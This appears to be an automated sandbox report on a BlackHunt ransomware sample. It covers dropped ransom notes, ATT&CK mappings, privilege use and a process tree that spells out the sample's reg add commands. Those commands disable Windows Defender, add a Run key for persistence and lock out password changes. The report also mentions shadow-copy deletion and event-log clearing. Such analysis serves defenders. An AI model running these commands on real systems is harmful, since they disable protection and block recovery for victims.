File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\license.html	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToScenesBackground.wmv	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\#BlackHunt_ReadMe.hta	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\#BlackHunt_ReadMe.txt	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\#BlackHunt_ReadMe.hta	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\sound.properties	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Monterrey	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Ust-Nera	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Heart_VideoInset.png	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Title_select-highlight.png	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\Xusage.txt	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\7-Zip\Lang\io.txt	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\#BlackHunt_ReadMe.txt	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\1047x576black.png	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_postage_Thumbnail.bmp	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\#BlackHunt_ReadMe.hta	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Jakarta	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File created	C:\Program Files\Java\jdk1.7.0_80\db\lib\#BlackHunt_ReadMe.txt	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pt.txt	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\full.png	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\javafx-doclet.jar	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\config.ini	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hr.txt	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\dtplugin\#BlackHunt_ReadMe.txt	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Nipigon	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\pushplaysubpicture.png	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationRight_ButtonGraphic.png	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Tarawa	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\#BlackHunt_ReadMe.txt	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\ClearBlock.mpeg	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\play-background.png	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SceneButtonInset_Alpha2.png	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sa.txt	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\#BlackHunt_Private.key	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File created	C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\#BlackHunt_ReadMe.hta	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\#BlackHunt_ReadMe.txt	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Halifax	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Vladivostok	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fur.txt	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\MST7MDT	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2316	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2448	vssadmin.exe
1868	vssadmin.exe
1856	vssadmin.exe
676	vssadmin.exe
2472	vssadmin.exe
2280	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2908	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	conhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	conhost.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3060	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2484	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
Token: SeRestorePrivilege	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
Token: SeBackupPrivilege	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
Token: SeTakeOwnershipPrivilege	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
Token: SeAuditPrivilege	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
Token: SeSecurityPrivilege	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
Token: SeIncBasePriorityPrivilege	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
Token: SeBackupPrivilege	2760	vssvc.exe
Token: SeRestorePrivilege	2760	vssvc.exe
Token: SeAuditPrivilege	2760	vssvc.exe
Token: SeBackupPrivilege	2428	wbengine.exe
Token: SeRestorePrivilege	2428	wbengine.exe
Token: SeSecurityPrivilege	2428	wbengine.exe
Token: SeSecurityPrivilege	2672	wevtutil.exe
Token: SeBackupPrivilege	2672	wevtutil.exe
Token: SeSecurityPrivilege	1856	wevtutil.exe
Token: SeBackupPrivilege	1856	wevtutil.exe
Token: SeSecurityPrivilege	2556	wevtutil.exe
Token: SeBackupPrivilege	2556	wevtutil.exe
Token: SeSecurityPrivilege	2804	wevtutil.exe
Token: SeBackupPrivilege	2804	wevtutil.exe
Token: SeSecurityPrivilege	2664	wevtutil.exe
Token: SeBackupPrivilege	2664	wevtutil.exe
Token: SeDebugPrivilege	2908	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2264 wrote to memory of 2448	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	29
PID 2264 wrote to memory of 2448	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	29
PID 2264 wrote to memory of 2448	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	29
PID 2264 wrote to memory of 2448	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	29
PID 2264 wrote to memory of 2728	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	30
PID 2264 wrote to memory of 2728	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	30
PID 2264 wrote to memory of 2728	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	30
PID 2264 wrote to memory of 2728	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	30
PID 2264 wrote to memory of 2848	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	33
PID 2264 wrote to memory of 2848	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	33
PID 2264 wrote to memory of 2848	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	33
PID 2264 wrote to memory of 2848	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	33
PID 2264 wrote to memory of 2868	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	34
PID 2264 wrote to memory of 2868	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	34
PID 2264 wrote to memory of 2868	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	34
PID 2264 wrote to memory of 2868	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	34
PID 2264 wrote to memory of 2840	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	36
PID 2264 wrote to memory of 2840	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	36
PID 2264 wrote to memory of 2840	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	36
PID 2264 wrote to memory of 2840	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	36
PID 2264 wrote to memory of 2588	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	39
PID 2264 wrote to memory of 2588	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	39
PID 2264 wrote to memory of 2588	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	39
PID 2264 wrote to memory of 2588	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	39
PID 2264 wrote to memory of 2700	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	40
PID 2264 wrote to memory of 2700	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	40
PID 2264 wrote to memory of 2700	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	40
PID 2264 wrote to memory of 2700	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	40
PID 2264 wrote to memory of 2892	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	42
PID 2264 wrote to memory of 2892	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	42
PID 2264 wrote to memory of 2892	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	42
PID 2264 wrote to memory of 2892	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	42
PID 2264 wrote to memory of 2616	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	44
PID 2264 wrote to memory of 2616	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	44
PID 2264 wrote to memory of 2616	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	44
PID 2264 wrote to memory of 2616	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	44
PID 2264 wrote to memory of 2980	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	46
PID 2264 wrote to memory of 2980	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	46
PID 2264 wrote to memory of 2980	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	46
PID 2264 wrote to memory of 2980	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	46
PID 2264 wrote to memory of 3012	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	48
PID 2264 wrote to memory of 3012	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	48
PID 2264 wrote to memory of 3012	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	48
PID 2264 wrote to memory of 3012	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	48
PID 2264 wrote to memory of 2748	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	50
PID 2264 wrote to memory of 2748	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	50
PID 2264 wrote to memory of 2748	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	50
PID 2264 wrote to memory of 2748	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	50
PID 2264 wrote to memory of 2644	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	52
PID 2264 wrote to memory of 2644	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	52
PID 2264 wrote to memory of 2644	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	52
PID 2264 wrote to memory of 2644	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	52
PID 2264 wrote to memory of 2580	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	53
PID 2264 wrote to memory of 2580	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	53
PID 2264 wrote to memory of 2580	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	53
PID 2264 wrote to memory of 2580	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	53
PID 2448 wrote to memory of 2596	2448	cmd.exe	130
PID 2448 wrote to memory of 2596	2448	cmd.exe	130
PID 2448 wrote to memory of 2596	2448	cmd.exe	130
PID 2264 wrote to memory of 2612	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	56
PID 2264 wrote to memory of 2612	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	56
PID 2264 wrote to memory of 2612	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	56
PID 2264 wrote to memory of 2612	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	56
PID 2264 wrote to memory of 2660	2264	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe	58

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe
"C:\Users\Admin\AppData\Local\Temp\d5a5bd17b496e3b5f331ce878e1955790c3dff15bf3de663693fd50306a0f662.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2448
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    PID:2596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:2848
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2868
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2840
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2892
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2616
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2980
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:3012
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2644
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2580
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2612
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2156
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2464
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2184
- C:\Windows\System32\cmd.exe
